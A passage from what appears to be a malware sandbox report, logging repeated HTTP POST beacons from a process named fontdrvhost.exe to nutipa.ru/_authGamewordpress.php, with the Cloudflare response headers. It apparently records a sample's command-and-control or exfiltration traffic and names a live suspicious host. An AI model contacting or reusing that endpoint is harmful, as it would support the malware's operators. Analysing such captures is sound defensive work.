      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:53:10 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WRfTjV7%2BUKJCw1M6IFpCHlNcIAB8b0JsTeBhILAdP6x2FAMtgAtD%2BtXhdUtg%2Bpi0VG%2FpTcKmIsCGBIyR%2Fvu1htzxcZbSXuOO8egQwYg045R%2BFgTAzypaJYg5syk%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f334729b82e7713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=29514&min_rtt=28379&rtt_var=776&sent=320&recv=310&lost=0&retrans=1&sent_bytes=75683&recv_bytes=137649&delivery_rate=95388&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:53:11 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lopSpCdG%2FpHEhD5i5S5ln7HuGQRD24%2B%2B9FRk6ZXtl0MUeHl3yNCDRPQyIsIwXiTO3xuPtI7O66SFQ8y6p%2BoS9Fxt9vKQRo4G8DkL4vevlCDzPlYJlDRLmyHUkvk%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f334730feac7713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=29413&min_rtt=28379&rtt_var=602&sent=324&recv=314&lost=0&retrans=1&sent_bytes=76667&recv_bytes=139468&delivery_rate=95388&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:53:13 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kwqfnkNSh9l8O%2FKpC8sT1qt3QFOs%2BjeqKnfjHlEhcNOAOpo3xYujaAdi9SPciT5XrRoZyZs3q9YI8lNhHGUw5xrQRbFv0V0GVnAwe7iE02lAh0NDJ0eqNM4h2v4%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f3347384b9e7713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=29311&min_rtt=28379&rtt_var=516&sent=328&recv=318&lost=0&retrans=1&sent_bytes=77647&recv_bytes=141287&delivery_rate=95388&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:53:14 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6X%2FG%2Fo%2Fk3aRrlA2EV6TdEx9iLaIWRl87PbM7%2BFHJwyTNybXgRVIRt3lq8RanISFWPnR%2FI%2BU53s8B%2FkSKQxOKbPYP7AMWVXvfndxvla%2FGplizxPlLD%2BpkXr1DM%2Fw%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f33473f88097713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=30539&min_rtt=28379&rtt_var=3004&sent=332&recv=322&lost=0&retrans=1&sent_bytes=78623&recv_bytes=143106&delivery_rate=95388&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:53:15 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BZ0f5wFpHHM50JKwpu%2BQTQ8xIFetMU1%2B%2FvWyJb94jXzGghR6ojKX%2BL4b7tZtHXsp6rTVlCVCl4uajskrMCbMoEWuY%2FXQLy5hEfS875qwy%2FsNKdpBv2cNMcdASrI%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f334746dca77713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=30261&min_rtt=28379&rtt_var=2139&sent=336&recv=326&lost=0&retrans=1&sent_bytes=79616&recv_bytes=144925&delivery_rate=95388&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:53:16 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IA0kKlzoLVM%2FVhzkvW2Wf2dA8RYPRbJ2la%2F%2BWH6RbSZPZSg%2FJu4N8Dpc6l%2FVrF7cGzAy1ghjRGMuuN%2BwFvx4ZOkoX%2B7Gsi0%2FzXMkAQUoknIWxEeVbalAnwoDayo%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f33474e094c7713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=29971&min_rtt=28379&rtt_var=1721&sent=340&recv=330&lost=0&retrans=1&sent_bytes=80601&recv_bytes=146744&delivery_rate=95388&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:53:17 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZXolCFZDeF92KtyHkqCuZJlvPXc%2B5SVpSRfhWfK9hcsu%2F7%2BvoyDMrWhGqK0wAAdbplXcPNPZGiog8BAbiezOUUZk5e3Za4puJJFf8hS2rOLAzSdeqHarukdf75c%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f3347554f3f7713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=29696&min_rtt=28379&rtt_var=1445&sent=344&recv=334&lost=0&retrans=1&sent_bytes=81590&recv_bytes=148563&delivery_rate=95388&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:53:18 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HmPnXlrl0yI%2Baf0mQOZCY58nZ%2BYzNiNgzFinWJQ39vWPHmKLd%2Fhab%2FdQ6nrfRa%2BHTQbu%2BPiLis5KZVndvomrBu768E1N%2FfwVEasIRBePkcgy%2FoEGLlKGVgkTZvM%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f33475c9d037713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=29515&min_rtt=28379&rtt_var=1128&sent=348&recv=338&lost=0&retrans=1&sent_bytes=82569&recv_bytes=150382&delivery_rate=95388&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:53:20 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QVWHlF9vVTrrwYXH48gC%2FEIsjSLUnvsveKaO4RnRDO49bBOSMCbjNF76QYD6Lh6WH1GmbknpVJbsL7QqwsCr%2FgWQTLiftKbznLmyWJ%2BKf6teaH0xtz6w%2BDKQhj0%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f334763d9d77713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=29341&min_rtt=28379&rtt_var=946&sent=352&recv=342&lost=0&retrans=1&sent_bytes=83558&recv_bytes=152201&delivery_rate=95388&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:53:21 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HB4XmjGiRiWHkXj9rpe5a4J3wPgMqB47LAyG1ZWPYhNpCKdMTsW%2B8pluBwWEOKdje3WDa29PuWMyTuOzo1%2Bftt%2FXnKcMjck%2B9J1VBQuNpoDkJhKdTuQOjCxys6I%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f33476b1eee7713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=29563&min_rtt=28379&rtt_var=1292&sent=356&recv=346&lost=0&retrans=1&sent_bytes=84538&recv_bytes=154020&delivery_rate=95388&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:53:22 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6nahqkjQeHKKkYzh0aBGc8c8iAJ3uOyhGdcbhimMSbmzjvIW%2BgUb0BLpP3M3wsKsT0NgyTLeTZl0KuwHR9Clyuz%2F%2Fry5jBWJ9Au%2FrwateF3DK6n4HHNJ1E9kVqY%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f3347724b907713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=29824&min_rtt=28379&rtt_var=1127&sent=360&recv=350&lost=0&retrans=1&sent_bytes=85519&recv_bytes=155839&delivery_rate=95388&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:53:23 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BY7aVPFTdbsxvzuv5F5m9Ffl8mHSi%2Ff%2FfvmQ5C52kVGa0N5GEQOndgl1HhQGWd0GG0hFTi0OTn2XrKjp2V5nfOkb7NR2jMDUF73sF2wQcZOGVlLKO1uyKXH6cPY%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f33477988457713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=29993&min_rtt=28379&rtt_var=1388&sent=364&recv=354&lost=0&retrans=1&sent_bytes=86500&recv_bytes=157658&delivery_rate=95388&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:53:24 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nKWzgSOFNwyf8RPdZz1oNs6G4w536by9D3WEBR5Fmk6r7EWuccE%2B%2B92VbEUdzmU8iXUA%2BvpO1HxEQxzjzlqgmDJDA5PB56O3dFx%2Fy6Py3khc9rnYWgY%2Frnq%2Fj04%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f334780bdc27713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=29744&min_rtt=28379&rtt_var=1210&sent=368&recv=358&lost=0&retrans=1&sent_bytes=87477&recv_bytes=159477&delivery_rate=95388&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:53:25 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dzpQLnrF%2FmH%2B2Dv6BQRrXnS0V55IoeH%2B97Gktfxz2BHQeH%2F8MmHhkibG%2BJwCCM7k40zv9PHQDkfviQy8lfDdDdurPlso9djaiEvrcQ9FC9zkN0HdH6M%2BUInaDaE%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f334787fbb47713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=34184&min_rtt=28379&rtt_var=9417&sent=373&recv=363&lost=0&retrans=1&sent_bytes=88462&recv_bytes=161296&delivery_rate=95388&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:53:27 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WzoWPJZH92MbXBg%2B2JLfe2IdZE8vfC3cM4ZSKQ5QiI23rEyHZ0QeIP5p0I9jq2oHhqKokYxE52R0T7s%2BSwFJjzuZ0%2Bv4RCBjyQthegZRytJiNR8QAkzr0B1WFjY%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f33478f3b7d7713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=33028&min_rtt=28379&rtt_var=7310&sent=377&recv=367&lost=0&retrans=1&sent_bytes=89447&recv_bytes=163115&delivery_rate=95388&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:53:28 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nHnxgQYhfakvxfS3i51uewHhGvWe19qKVW4gCG0KWFfMWDPrt9IedkHSUgV%2BicaQ8uYf32RTIcVipArA2WrkrB1wPtOnQWqoZr14p3S6v6jYaWaduqvwPNXPRRY%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f334796693e7713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=32309&min_rtt=28379&rtt_var=5318&sent=381&recv=371&lost=0&retrans=1&sent_bytes=90426&recv_bytes=164934&delivery_rate=95388&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:53:29 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bfERQwf22StzbTVYhQNUTXBOmKP5%2F96u9NHPH8B2nup1mrZMOoa5H1PM2xeJn8FSOFsRQpSqGzuwbtKHwdf%2FCgWww0h%2FFTuvoHu442WnCGpnzGAoBs8lWzVBX0w%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f33479dadb67713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=31525&min_rtt=28379&rtt_var=4353&sent=385&recv=375&lost=0&retrans=1&sent_bytes=91401&recv_bytes=166753&delivery_rate=95388&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1528
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:53:30 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4U76I5ZRKYXeKMuMtO9ZN7k82M33Qa2x%2B1le%2B7tANBSU9spD5N2nrheRjAKep3DtH54im%2F%2B7zk3M%2F%2Bs9ZntXsgTzkc6fcjNy%2Fuf0MSYjF8p7rN4sKDJJjNej%2FxA%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f3347a4ea677713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=31634&min_rtt=28379&rtt_var=3926&sent=389&recv=379&lost=0&retrans=1&sent_bytes=92380&recv_bytes=168560&delivery_rate=95388&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:53:31 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7JkxI2sCldvuP7GQ9TRg%2Bs3Yx2l2QVCq7c1RyH6YQrKNHHeVSKVeKRXgw93IuHIjv0lWjp%2BdmW3Y8G43w4An2U9qhagclPk%2Fle%2Btt0pdYef4hxbt3Ck1bhd05v4%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f3347ac1f627713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=30984&min_rtt=28379&rtt_var=3340&sent=393&recv=383&lost=0&retrans=1&sent_bytes=93369&recv_bytes=170379&delivery_rate=95388&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:53:32 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0B38Tgyps%2BNH%2FNKpaFVpzaEjg3qpqhKhfqT7MnT6abK505LQWcS0lcVWq5ZXgKxN81X9ltzMUlzu78oqpRNmGVhQ9bhi%2BsgM3F%2BWzRqVT3MZzowrTEJGk%2BKFrN4%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f3347b35c937713-LHR
      alt-svc: h3=":443"; ma=86400
